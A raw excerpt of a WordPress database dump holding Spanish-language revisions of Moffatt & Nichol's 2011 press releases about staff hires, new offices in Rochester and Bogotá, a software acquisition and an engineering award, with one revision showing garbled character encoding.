src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-autosave','','','2014-06-03 20:58:55','2014-06-03 20:58:55','',1399,'http://moffattnichol.com/spanish/1399-autosave/',0,'revision','',0),(2547,1,'2012-01-04 10:26:14','2012-01-04 10:26:14','<div class=\"content_faq\">\n<h1>comunicados de prensa</h1>\n&nbsp;\n<div class=\"press-release-para\">\n<h3 id=\"8\">Moffatt &amp; Nichol adquiere el software de simulaciÃ³n de terminales de contenedores Flexsim</h3> LONG BEACH, CA, 17 de febrero de 2011â€”Moffatt &amp; Nichol se complace en anunciar la adquisiciÃ³n de Flexsim Container Terminal (Flexsim CT), un programa de software de simulaciÃ³n diseÃ±ado especÃficamente para operaciones de terminales de contenedores. Durante los Ãºltimos 5 aÃ±os, Moffatt &amp; Nichol ha sido usuario autorizado y socio de Flexsim y del desarrollo de Flexsim CT y lo ha utilizado como una herramienta potente y confiable para el planeamiento y anÃ¡lisis de proyectos y operaciones de terminales de contenedores y patios ferroviarios intermodales. Ahora, la firma mantiene exclusivamente el cÃ³digo fuente propietario para el software Flexsim CT y todos los servicios de tecnologÃa relacionados con las operaciones de las terminales de contenedores. Flexsim Software Products, Inc. seguirÃ¡ proporcionando productos de simulaciÃ³n para la industria de terminales que no sean de contenedores.\n\nLa adquisiciÃ³n del software Flexsim CT mejora mÃ¡s aÃºn nuestra capacidad de proporcionar soporte a nuestros clientes con un creciente conjunto de herramientas de simulaciÃ³n para modelar la disposiciÃ³n, las operaciones y las actividades de los equipos de las terminales, incluyendo terminales de contenedores completamente automatizadas. La simulaciÃ³n por computadora es una forma de proporcionar un valioso vistazo a las consecuencias de modificaciones operacionales y logÃsticas en terminales existentes asÃ como para el desarrollo de nuevas instalaciones. El software Flexsim CT, ahora de propiedad de Moffatt &amp; Nichol, crearÃ¡ una robusta plataforma para estos desarrollos segÃºn sea necesario durante el ciclo de vida del proyecto, incluyendo el planeamiento, el desarrollo, la integraciÃ³n y las operaciones.\n\nCon un equipo dedicado al desarrollo de modelos de simulaciÃ³n, la aplicaciÃ³n de Flexsim CT es el resultado del compromiso de la firma con sus clientes y con el mejoramiento y la ampliaciÃ³n de nuestros servicios a fin de incluir la ingenierÃa de operaciones y procesos para terminales de contenedores, la selecciÃ³n y especificaciÃ³n de equipos de manipulaciÃ³n de contenedores y los sistemas de operaciÃ³n de terminales.\n\nLas aplicaciones de simulaciÃ³n de Moffatt &amp; Nichol incluyen el anÃ¡lisis de la productividad del equipo con diferentes configuraciones, la obtenciÃ³n de valores de parÃ¡metros clave para el planeamiento de terminales, la comparaciÃ³n del funcionamiento en diversas alternativas y la evaluaciÃ³n de la eficiencia del sistema de una terminal. La funciÃ³n de arrastrar y soltar y la interfaz orientada a objetos de Flexsim CT, asÃ como nuestra capacidad de modelar lÃ³gicas de operaciÃ³n muy personalizadas, permitirÃ¡n a la compaÃ±Ãa proporcionar un servicio altamente interactivo a nuestros clientes en el desarrollo de su planta, de sus procedimientos y de la flota del equipo para terminales de contenedores convencionales y automatizadas.\n\nLas visualizaciones integradas en 2D y 3D y las animaciones generadas durante el proceso de creaciÃ³n del modelo no solo hacen la depuraciÃ³n y el ajuste de un modelo mucho mÃ¡s sencillo, sino que han probado ser un mÃ©todo imprescindible para que los clientes vean sus instalaciones y operaciones en movimiento durante toda la etapa del planeamiento. El compromiso de Moffatt &amp; Nichol con la futura tecnologÃa de simulaciÃ³n y su sociedad con Flexsim continuarÃ¡ para ampliar las capacidades de Flexsim CT.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n&nbsp; <h3 id=\"1\">Gary Antonucci se une a Moffatt &amp; Nichol como Ingeniero principal de puentes</h3> LONG BEACH, CA, 13 de diciembre de 2011â€”Moffatt &amp; Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la firma. El ingeniero Antonucci aporta a Moffatt &amp; Nichol sus mÃ¡s de 30 aÃ±os de experiencia en ingenierÃa, incluyendo mÃ¡s de 15 aÃ±os con TY Lin International en el planeamiento y diseÃ±o de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\n\nSu experiencia incluye el diseÃ±o de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los Ãºltimos 15 aÃ±os, ha estado enfocado especÃficamente en la gerencia de proyectos de tareas complejas que requerÃan grandes equipos multidisciplinarios. Su trabajo ha incluido mÃ¡s de 200 proyectos de puentes individuales. Con una gran experiencia en el diseÃ±o de puentes para Caltrans (Departamento de Transportes de California), ha completado muchos proyectos de carreteras estatales que necesitaban la revisiÃ³n y aprobaciÃ³n de Caltrans.\n\nLa experiencia del ingeniero Antonucci tambiÃ©n incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglÃ©s) federal y ha completado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de proyectos o Ingeniero estructural principal para mÃ¡s de 20 pasos a desnivel de carreteras/vÃas fÃ©rreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, asÃ como preparar acuerdos con la ComisiÃ³n de Servicios PÃºblicos (PUC, por sus siglas en inglÃ©s) y ferroviarios. El seÃ±or Antonucci es un ingeniero profesional y recibiÃ³ su grado de ingenierÃa civil de la Universidad PolitÃ©cnica del estado de California, Pomona.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n&nbsp; <h3 id=\"2\">Carlos Noguera se une a la firma como Gerente General para la oficina de Colombia</h3> LONG BEACH, CA, 13 de diciembre de 2011â€”Moffatt &amp; Nichol da la bienvenida a la firma a Carlos Noguera como Gerente General para la oficina de Colombia.  El ingeniero Noguera aporta mÃ¡s de 30 aÃ±os de experiencia y un profundo conocimiento de la industria de la ingenierÃa de Colombia, especÃficamente en las Ã¡reas de consultorÃa medioambiental, evaluaciÃ³n de la calidad del agua, diseÃ±o de canales de navegaciÃ³n, dragado y estudios de factibilidad econÃ³mica y tÃ©cnica en Colombia y a nivel internacional.\n\nEl ingeniero Noguera se une a Moffatt &amp; Nichol despuÃ©s de trabajar mÃ¡s de 30 aÃ±os con HMV Ingenieros, una compaÃ±Ãa colombiana, donde tuvo un papel importante como Representante legal e Ingeniero director general desde 2002, supervisando proyectos en los sectores privado y pÃºblico. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt &amp; Nichol incluyÃ³ el diseÃ±o del acceso al canal de navegaciÃ³n al puerto de Buenaventura, Colombia donde fue un factor clave en los logros de la firma en Colombia.\n\nSu experiencia profesional tambiÃ©n incluye la evaluaciÃ³n de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecuciÃ³n de estudios sobre la evaluaciÃ³n de riesgos naturales, el diseÃ±o de canales de navegaciÃ³n, sistemas de atraque y dragas.\n\nEl ingeniero Noguera tiene un tÃtulo en ingenierÃa civil de la Universidad La Gran Colombia y una especializaciÃ³n en EvaluaciÃ³n del impacto medioambiental de la Universidad Jorge Tadeo Lozano â€“ Tuffs University, en BogotÃ¡, Colombia.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n&nbsp; <h3 id=\"3\">Helga Junold encabezarÃ¡ Grupo comercial global con sede en Nueva York</h3> LONG BEACH, CA, 30 de noviembre de 2011 â€” Moffatt &amp; Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York de la firma. La ingeniera Junold se une a Moffatt &amp; Nichol despuÃ©s de trabajar mÃ¡s de 20 aÃ±os con Halcrow, donde puso en marcha la presencia estadounidense de la firma. DirigiÃ³ e incrementÃ³ una importante y exitosa especialidad consultiva de transacciones estratÃ©gicas en las Ã¡reas de puertos, carga marÃtima y terrestre, logÃstica y asociaciones pÃºblico-privadas, reuniendo competencias en ingenierÃa civil, financiamiento del desarrollo de infraestructura y administraciÃ³n general.\n\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y AmÃ©rica Latina. TrabajÃ³ con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantÃa de crÃ©ditos a la exportaciÃ³n del Reino Unido, y dirigiÃ³ importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\n\nTambiÃ©n ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la CorporaciÃ³n de Desarrollo EconÃ³mico de Nueva York, el Departamento del Tesoro del estado de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. La seÃ±ora Junold es una ingeniera colegiada en el Reino Unido y obtuvo su maestrÃa de HidrÃ¡ulica en ingenierÃa civil de la universidad de Salford, Reino Unido.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n&nbsp; <h3 id=\"4\">Moffatt &amp; Nichol aÃ±ade oficina en Eastern Great Lakes</h3> LONG BEACH, CA, 8 de agosto de 2011â€” Moffatt &amp; Nichol se complace en anunciar la expansiÃ³n de nuestra firma con la incorporaciÃ³n de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrarÃ¡ en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancÃas, asÃ como a las industrias marÃtimas relacionadas. Durante los tres Ãºltimos aÃ±os, Moffatt &amp; Nichol ha apoyado el Ã¡rea con varios proyectos relacionados con el planeamiento, diseÃ±o e ingenierÃa del frente costero. Ubicada en la parte oeste de Nueva York, con un prÃ¡ctico acceso a CanadÃ¡ y a la regiÃ³n de los Grandes lagos, la nueva oficina servirÃ¡ como un centro crÃtico para cubrir las necesidades de nuestros clientes de todo el mundo.\n\nMoffatt &amp; Nichol 250 Mill Street, Suite 307 Rochester, NY 14614 P: 585-641-7128 E: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n&nbsp; <h3 id=\"5\">Richard Rocktoff se une como Gerente principal de proyectos de transporte</h3> LONG BEACH, CA, 25 de julio de 2010â€”Richard Rocktoff se une al equipo de transporte de Moffatt &amp; Nichol como Gerente principal de proyectos de transporte. Con mÃ¡s de 20 aÃ±os de experiencia en proyectos de transporte, el Sr. Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrÃas de diseÃ±o horizontal y vertical, diseÃ±o de intercambios e intersecciones, servicios post-diseÃ±o y proyectos de entrega alternativa a la firma.\n\nAntes de unirse a Moffatt &amp; Nichol, el Sr. Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglÃ©s) en varios distritos del FDOT. Anteriormente trabajÃ³ como Subgerente de diseÃ±o en la asociaciÃ³n pÃºblico-privada para la reconstrucciÃ³n de la carretera interestatal I-595 del distrito cuatro del FDOT. CoordinÃ³ los esfuerzos de los diferentes equipos de diseÃ±o para terminar un diseÃ±o de dieciocho meses que incluyÃ³ diez intercambios sobre 12 millas (19 km) de carretera interestatal. El proyecto P3 de $1.200 millones tambiÃ©n introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\n\nComo ingeniero de proyecto del diseÃ±o y construcciÃ³n de la carretera US 1 y del puente Jewfish Creek, el Sr. Rocktoff supervisÃ³ el diseÃ±o de la reconstrucciÃ³n de 7 millas (11,2 km) de la carretera US 1, incluyendo el reemplazo del puente de bÃ¡scula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 1,5 millas (2,4 km) y la adiciÃ³n de dos nuevos intercambios. TambiÃ©n fue el ingeniero colegiado responsable para el proyecto del diseÃ±o y la construcciÃ³n de la carretera interestatal I-4 y manejÃ³ el diseÃ±o de la calzada en la reconstrucciÃ³n del intercambio US 27 y del ensanchamiento y revestimiento de 9 millas (14,4 km) de la carretera I-4 a travÃ©s del Green Swamp.\n\nEl seÃ±or Rocktoff tiene certificaciÃ³n FDOT en Mantenimiento avanzado de diseÃ±o de trÃ¡fico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Es graduado de la Universidad del Sur de Florida donde recibiÃ³ su MBA y de la Universidad de Florida donde obtuvo su tÃtulo en ingenierÃa civil.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n&nbsp; <h3 id=\"6\">Moffatt &amp; Nichol se expande a AmÃ©rica Latina con oficina en Colombia</h3> LONG BEACH, CA, 18 de julio de 2011â€”Moffatt &amp; Nichol continÃºa su expansiÃ³n en AmÃ©rica Latina con la creaciÃ³n de una oficina en BogotÃ¡, Colombia. Aunque Moffatt &amp; Nichol ha estado activo por mucho tiempo en Colombia, el inicio de Moffatt &amp; Nichol Colombia S.A.S. marca el sincero compromiso de la firma con una presencia a largo plazo en el paÃs para apoyar la continuada modernizaciÃ³n de la infraestructura marÃtima y de transporte de Colombia.\n\nMoffatt &amp; Nichol Av. Cra. 9, N.Â° 113-52, Of. 1201 Torres Unidas 2\n\nBogotÃ¡ D.C., Colombia P: +57 313 373 5350 E: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n&nbsp; <h3 id=\"7\">Proyecto de GPA de Moffatt &amp; Nichol gana premio de ingenierÃa de Georgia</h3> SAVANNAH, GA, 1 de abril de 2011â€” Georgia Engineering Alliance confiriÃ³ a Moffatt &amp; Nichol un Premio de honor en Excelencia de ingenierÃa por el proyecto del corredor Cross Terminal Road y Puente. Como parte de un contrato en marcha, Moffatt &amp; Nichol proporcionÃ³ el planeamiento, diseÃ±o y apoyo en la construcciÃ³n para el nuevo corredor de 2 millas (3,2 km) y de un costo de $6,6 millones llamado â€œCross Terminal Roadâ€, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\n\nâ€œCreo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversiÃ³n a una terminal de contenedoresâ€, comentÃ³ el ingeniero Wilson Tillotson, Director principal de ingenierÃa y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\n\nEl Plan para la terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyÃ³ la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada direcciÃ³n y un carril de giro. El proyecto incluyÃ³ la instalaciÃ³n de casi 2 millas (3,2 km) de calzada de concreto asfÃ¡ltico a travÃ©s de la terminal, lo que mejorÃ³ la circulaciÃ³n en las congestionadas intersecciones, ademÃ¡s de haber sido construido sin interrumpir las operaciones de la terminal.\n\nMoffatt &amp; Nichol proporcionÃ³ soporte a tiempo completo durante varias etapas de la construcciÃ³n: demoliciÃ³n, reubicaciÃ³n de equipos de servicios pÃºblicos, nivelaciÃ³n, construcciÃ³n del puente, pavimentaciÃ³n, pintado de franjas indicadoras, seÃ±alizaciÃ³n y control de trÃ¡fico, a fin de minimizar el impacto en las operaciones de la terminal. La construcciÃ³n de Cross Terminal Road fue terminada, prÃ¡cticamente, sin ningÃºn impacto negativo sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=1399&amp;action=edit#top\">Volver al principio ^</a></div>\n</div>\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision','','','2012-01-04 10:26:14','2012-01-04 10:26:14','',1399,'http://moffattnichol.com/spanish/1399-revision/',0,'revision','',0),(2548,1,'2012-06-15 04:29:54','2012-06-15 04:29:54','<div class=\"content_faq\">\r\n<div class=\"our_officesimg\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/our_offices.jpg\" alt=\"Nuestras oficinas\" width=\"389\" height=\"217\" /></div>\r\n<div class=\"our_officestxt\">\r\n<h1>nuestras oficinas</h1>\r\n<p class=\"our-office-para\">Con 27 oficinas ubicadas alrededor del mundo, Moffatt &amp; Nichol tiene prestigio internacional como líder en la complicada área donde la tierra entra en contacto con el agua. Si desea información de contacto, seleccione una ubicación.</p>\r\n\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/abu-dhabi.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"1\">ABU DABI</h2>\r\n<strong>dirección</strong>\r\n\r\nRegus Al Bateen Business 